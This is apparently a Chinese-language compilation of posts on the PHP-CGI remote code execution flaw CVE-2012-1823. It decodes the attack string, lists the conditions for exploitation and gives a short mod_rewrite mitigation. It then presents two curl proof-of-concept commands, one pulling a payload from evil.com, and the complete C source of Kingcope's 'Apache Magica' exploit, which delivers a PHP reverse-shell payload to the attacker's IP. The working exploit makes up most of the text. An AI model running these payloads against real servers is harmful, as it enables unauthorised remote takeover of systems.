参考文献：
- 关于近期发布的apache+php cgi mod攻击代码
- Apache / PHP 5.x Remote Code Execution Exploit
- CVE-2012-1823（PHP-CGI RCE）的PoC及技术挑战
关于近期发布的apache+php cgi mod攻击代码
一、缘起：
1、攻击代码
国际知名的漏洞攻击代码发布机构 exploit-db发布了一个针对apache+php的攻击代码，作者为著名国际黑客Kingcope。详见 http://www.exploit-db.com/exploits/29290/
攻击效果图源于网络
2、漏洞
实际上这个漏洞在2012年5月份就被发现了，php官方也修复了这个漏洞。
详见 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
3、成因
php作为cgi模式运行的时候，接受-s -d -c 这样的参数，我们看看这些参数的功能
-s Output HTML syntax highlighted source -d foo[=bar] Define INI entry foo with value bar
然后再看看攻击代码片段
char poststr[] = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1rn"
解码出来是
%s?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation3Don -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.fo"rce_redirect=0 -d cgi.redirect_status_env=0 -n
这样Kingcope的攻击代码思路就出来了。
关闭各种防护的参数，打开各种危险的参数，最后利用auto_prepend_file（或auto_append_file）这个参数把黑客需要执行的系统命令传递过去了。
二、利用条件
不少同学关注利用条件，针对上述公开的exp，总结一下，要利用这个漏洞，必须同时满足如下条件：
1、apache+php是用cgi模式跑的，例如apache的mod_cgid
2、php解释器需要可以从下面的url访问到，当然或许可能是其他的url，这个具体要看你的配置
/cgi-bin/php /cgi-bin/php5 /cgi-bin/php-cgi /cgi-bin/php.cgi /cgi-bin/php4
3、php版本
PHP版本小于5.3.12
PHP版本小于5.4.2
三、防护
0、升级到php的最新稳定版
1、如果你有web应用防火墙，那么可以在waf上拦截上述url及利用到的关键字，（小心黑客用一些编码技巧绕过你的规则）然后给运维充足的时间去升级。扯远一点，waf部署容易运营难，这也是为什么好些公司部署了waf但是依然web被黑的原因之一。
2、如果你没有waf，又想为升级php争取时间，可以考虑下列rewrite规则
RewriteEngineon
RewriteCond%{QUERY_STRING}^[^=]*$
RewriteCond%{QUERY_STRING}%2d|-[NC]
RewriteRule.?-[F,L]
四、FAQ
Q：nginx+php fastcgi模式是否受这个攻击代码影响？
A：暂时不受公开的攻击代码影响，但有空最好还是升级一下php。
Q：nginx+php+fpm模式是否受这个攻击代码影响？
A：暂时不受公开的攻击代码影响，但有空最好还是升级一下php。
CVE-2012-1823（PHP-CGI RCE）的PoC及技术挑战
国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞：http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
粗看一下貌似没啥危害，因为php做了防范，在cgi这个sapi下是无法使用-r，-f等直接执行命令的参数的。只有少数几个参数可以使用，因此公告里也就给出了使用-s参数读取源文件的poc。
另外关于RCE的PoC原文没有给出，不过说明的确可以远程执行代码。那么他是怎么做到的呢？我粗略想了想，可以利用的参数只有一个-d参数了，作用是给php定义一个ini的值。
那么利用它能做什么呢？我给出如下两个RCE的PoC方案：
1、本地包含直接执行代码:
curl -H "USER-AGENT: <?system('id');die();?>" http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n
2、远程包含执行代码:
curl http://target.com/test.php?-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3a%2f%2Fwww.evil.com%2fevil.txt
经过测试以上两者都可以，但其实就是一个包含文件的两种使用而已。
各位看看还有什么牛逼的方法可以绕过限制直接远程执行代码呢？这会是一个很好玩的技术挑战。
Apache / PHP 5.x Remote Code Execution Exploit
/* Apache Magica by Kingcope */
/* gcc apache-magika.c -o apache-magika -lssl */
/* This is a code execution bug in the combination of Apache and PHP.
On Debian and Ubuntu the vulnerability is present in the default install
of the php5-cgi package. When the php5-cgi package is installed on Debian and
Ubuntu or php-cgi is installed manually the php-cgi binary is accessible under
/cgi-bin/php5 and /cgi-bin/php. The vulnerability makes it possible to execute
the binary because this binary has a security check enabled when installed with
Apache http server and this security check is circumvented by the exploit.
When accessing the php-cgi binary the security check will block the request and
will not execute the binary.
In the source code file sapi/cgi/cgi_main.c of PHP we can see that the security
check is done when the php.ini configuration setting cgi.force_redirect is set
and the php.ini configuration setting cgi.redirect_status_env is set to no.
This makes it possible to execute the binary bypassing the Security check by
setting these two php.ini settings.
Prior to this code for the Security check getopt is called and it is possible
to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the
-d switch. If both values are set to zero and the request is sent to the server
php-cgi gets fully executed and we can use the payload in the POST data field
to execute arbitrary php and therefore we can execute programs on the system.
apache-magika.c is an exploit that does exactly the prior described. It does
support SSL.
/* Affected and tested versions
PHP 5.3.10
PHP 5.3.8-1
PHP 5.3.6-13
PHP 5.3.3
PHP 5.2.17
PHP 5.2.11
PHP 5.2.6-3
PHP 5.2.6+lenny16 with Suhosin-Patch
Affected versions
PHP prior to 5.3.12
PHP prior to 5.4.2
Unaffected versions
PHP 4 - getopt parser unexploitable
PHP 5.3.12 and up
PHP 5.4.2 and up
Unaffected versions are patched by CVE-2012-1823.
*/
/* .
/'rrq rk
. // \ .
.x.//fco\-|-
'//cmtco\zt
//6meqrg.\tq
//_________\'
EJPGQO
apache-magica.c by Kingcope
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/types.h>
#include <stddef.h>
#include <openssl/rand.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
typedef struct {
int sockfd;
SSL *handle;
SSL_CTX *ctx;
} connection;
void usage(char *argv[])
{
printf("usage: %s <--target target> <--port port> <--protocol http|https> "
"<--reverse-ip ip> <--reverse-port port> [--force-interpreter interpreter]n",
argv[0]);
exit(1);
}
char poststr[] = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F"
"%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64"
"+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73"
"%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E"
"%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63"
"%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62"
"%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74"
"%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68"
"%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F"
"%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63"
"%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73"
"%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1rn"
"Host: %srn"
"User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26"
"(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25rn"
"Content-Type: application/x-www-form-urlencodedrn"
"Content-Length: %drn"
"Connection: closernrn%s";
char phpstr[] = "<?phpn"
"set_time_limit(0);n"
"$ip = '%s';n"
"$port = %d;n"
"$chunk_size = 1400;n"
"$write_a = null;n"
"$error_a = null;n"
"$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';n"
"$daemon = 0;n"
"$debug = 0;n"
"if (function_exists('pcntl_fork')) {n"
" $pid = pcntl_fork(); n"
" if ($pid == -1) {n"
" printit("ERROR: Can't fork");n"
" exit(1);n"
" }n"
" if ($pid) {n"
" exit(0);n"
" }n"
" if (posix_setsid() == -1) {n"
" printit("Error: Can't setsid()");n"
" exit(1);n"
" }n"
" $daemon = 1;n"
"} else {n"
" printit("WARNING: Failed to daemonise.");n"
"}n"
"chdir("/");n"
"umask(0);n"
"$sock = fsockopen($ip, $port, $errno, $errstr, 30);n"
"if (!$sock) {n"
" printit("$errstr ($errno)");n"
" exit(1);n"
"}n"
"$descriptorspec = array(n"
" 0 => array("pipe", "r"),n"
" 1 => array("pipe", "w"),n"
" 2 => array("pipe", "w")n"
");n"
"$process = proc_open($shell, $descriptorspec, $pipes);n"
"if (!is_resource($process)) {n"
" printit("ERROR: Can't spawn shell");n"
" exit(1);n"
"}n"
"stream_set_blocking($pipes[0], 0);n"
"stream_set_blocking($pipes[1], 0);n"
"stream_set_blocking($pipes[2], 0);n"
"stream_set_blocking($sock, 0);n"
"while (1) {n"
" if (feof($sock)) {n"
" printit("ERROR: Shell connection terminated");n"
" break;n"
" }n"
" if (feof($pipes[1])) {n"
" printit("ERROR: Shell process terminated");n"
" break;n"
" }n"
" $read_a = array($sock, $pipes[1], $pipes[2]);n"
" $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);n"
" if (in_array($sock, $read_a)) {n"
" if ($debug) printit("SOCK READ");n"
" $input = fread($sock, $chunk_size);n"
" if ($debug) printit("SOCK: $input");n"
" fwrite($pipes[0], $input);n"
" }n"
" if (in_array($pipes[1], $read_a)) {n"
" if ($debug) printit("STDOUT READ");n"
" $input = fread($pipes[1], $chunk_size);n"
" if ($debug) printit("STDOUT: $input");n"
" fwrite($sock, $input);n"
" }n"
" if (in_array($pipes[2], $read_a)) {n"
" if ($debug) printit("STDERR READ");n"
" $input = fread($pipes[2], $chunk_size);n"
" if ($debug) printit("STDERR: $input");n"
" fwrite($sock, $input);n"
" }n"
"}n"
"n"
"fclose($sock);n"
"fclose($pipes[0]);n"
"fclose($pipes[1]);n"
"fclose($pipes[2]);n"
"proc_close($process);n"
"function printit ($string) {n"
" if (!$daemon) {n"
" print "$stringn";n"
" }n"
"}n"
"exit(1);n"
"?>";
struct sockaddr_in *gethostbyname_(char *hostname, unsigned short port)
{
struct hostent *he;
struct sockaddr_in server, *servercopy;
if ((he=gethostbyname(hostname)) == NULL) {
printf("Hostname cannot be resolvedn");
exit(255);
}
servercopy = malloc(sizeof(struct sockaddr_in));
if (!servercopy) {
printf("malloc error (1)n");
exit(255);
}
memset(&server, '�', sizeof(struct sockaddr_in));
memcpy(&server.sin_addr, he->h_addr_list[0], he->h_length);
server.sin_family = AF_INET;
server.sin_port = htons(port);
memcpy(servercopy, &server, sizeof(struct sockaddr_in));
return servercopy;
}
char *sslread(connection *c)
{
char *rc = NULL;
int received, count = 0, count2=0;
char ch;
for(;;)
{
if (!rc)
rc = calloc(1024, sizeof (char) + 1);
else
if (count2 % 1024 == 0) {
rc = realloc(rc, (count2 + 1) * 1024 * sizeof (char) + 1);
}
received = SSL_read(c->handle, &ch, 1);
if (received == 1) {
rc[count++] = ch;
count2++;
if (count2 > 1024*5)
break;
}
else
break;
}
return rc;
}
char *read_(int sockfd)
{
char *rc = NULL;
int received, count = 0, count2=0;
char ch;
for(;;)
{
if (!rc)
rc = calloc(1024, sizeof (char) + 1);
else
if (count2 % 1024 == 0) {
rc = realloc(rc, (count2 + 1) * 1024 * sizeof (char) + 1);
}
received = read(sockfd, &ch, 1);
if (received == 1) {
rc[count++] = ch;
count2++;
if (count2 > 1024*5)
break;
}
else
break;
}
return rc;
}
void main(int argc, char *argv[])
{
char *target, *protocol, *targetip, *writestr, *tmpstr, *readbuf=NULL,
*interpreter, *reverseip, *reverseportstr, *forceinterpreter=NULL;
char httpsflag=0;
unsigned short port=0, reverseport=0;
struct sockaddr_in *server;
int sockfd;
unsigned int writesize, tmpsize;
unsigned int i;
connection *sslconnection;
printf("-== Apache Magika by Kingcope ==-n");
for(;;)
{
int c;
int option_index=0;
static struct option long_options[] = {
{"target", required_argument, 0, 0 },
{"port", required_argument, 0, 0 },
{"protocol", required_argument, 0, 0 },
{"reverse-ip", required_argument, 0, 0 },
{"reverse-port", required_argument, 0, 0 },
{"force-interpreter", required_argument, 0, 0 },
{0, 0, 0, 0 }
};
c = getopt_long(argc, argv, "", long_options, &option_index);
if (c < 0)
break;
switch (c) {
case 0:
switch (option_index) {
case 0:
if (optarg) {
target = calloc(strlen(optarg)+1, sizeof(char));
if (!target) {
printf("calloc error (2)n");
exit(255);
}
memcpy(target, optarg, strlen(optarg)+1);
}
break;
case 1:
if(optarg)
port = atoi(optarg);
break;
case 2:
protocol = calloc(strlen(optarg)+1, sizeof(char));
if (!protocol) {
printf("calloc error (3)n");
exit(255);
}
memcpy(protocol, optarg, strlen(optarg)+1);
if (!strcmp(protocol, "https"))
httpsflag=1;
break;
case 3:
reverseip = calloc(strlen(optarg)+1, sizeof(char));
if (!reverseip) {
printf("calloc error (4)n");
exit(255);
}
memcpy(reverseip, optarg, strlen(optarg)+1);
break;
case 4:
reverseport = atoi(optarg);
reverseportstr = calloc(strlen(optarg)+1, sizeof(char));
if (!reverseportstr) {
printf("calloc error (5)n");
exit(255);
}
memcpy(reverseportstr, optarg, strlen(optarg)+1);
break;
case 5:
forceinterpreter = calloc(strlen(optarg)+1, sizeof(char));
if (!forceinterpreter) {
printf("calloc error (6)n");
exit(255);
}
memcpy(forceinterpreter, optarg, strlen(optarg)+1);
break;
default:
usage(argv);
}
break;
default:
usage(argv);
}
}
if ((optind < argc) || !target || !protocol || !port ||
!reverseip || !reverseport){
usage(argv);
}
server = gethostbyname_(target, port);
if (!server) {
printf("Error while resolving hostname. (7)n");
exit(255);
}
char *interpreters[5];
int ninterpreters = 5;
interpreters[0] = strdup("/cgi-bin/php");
interpreters[1] = strdup("/cgi-bin/php5");
interpreters[2] = strdup("/cgi-bin/php-cgi");
interpreters[3] = strdup("/cgi-bin/php.cgi");
interpreters[4] = strdup("/cgi-bin/php4");
for (i=0;i<ninterpreters;i++) {
interpreter = interpreters[i];
if (forceinterpreter) {
interpreter = strdup(forceinterpreter);
}
if (forceinterpreter && i)
break;
printf("%sn", interpreter);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 1) {
printf("socket error (8)n");
exit(255);
}
if (connect(sockfd, (void*)server, sizeof(struct sockaddr_in)) < 0) {
printf("connect error (9)n");
exit(255);
}
if (httpsflag) {
sslconnection = (connection*) malloc(sizeof(connection));
if (!sslconnection) {
printf("malloc error (10)n");
exit(255);
}
sslconnection->handle = NULL;
sslconnection->ctx = NULL;
SSL_library_init();
sslconnection->ctx = SSL_CTX_new(SSLv23_client_method());
if (!sslconnection->ctx) {
printf("SSL_CTX_new error (11)n");
exit(255);
}
sslconnection->handle = SSL_new(sslconnection->ctx);
if (!sslconnection->handle) {
printf("SSL_new error (12)n");
exit(255);
}
if (!SSL_set_fd(sslconnection->handle, sockfd)) {
printf("SSL_set_fd error (13)n");
exit(255);
}
if (SSL_connect(sslconnection->handle) != 1) {
printf("SSL_connect error (14)n");
exit(255);
}
}
tmpsize = strlen(phpstr) + strlen(reverseip) + strlen(reverseportstr) + 64;
tmpstr = (char*)calloc(tmpsize, sizeof(char));
snprintf(tmpstr, tmpsize, phpstr, reverseip, reverseport);
writesize = strlen(target) + strlen(interpreter) +
strlen(poststr) + strlen(tmpstr) + 64;
writestr = (char*)calloc(writesize, sizeof(char));
snprintf(writestr, writesize, poststr, interpreter,
target, strlen(tmpstr), tmpstr);
if (!httpsflag) {
write(sockfd, writestr, strlen(writestr));
readbuf = read_(sockfd);
} else {
SSL_write(sslconnection->handle, writestr, strlen(writestr));
readbuf = sslread(sslconnection);
}
if (readbuf) {
printf("***SERVER RESPONSE***nn%snn", readbuf);
} else {
printf("read error (15)n");
exit(255);
}
}
exit(1);
}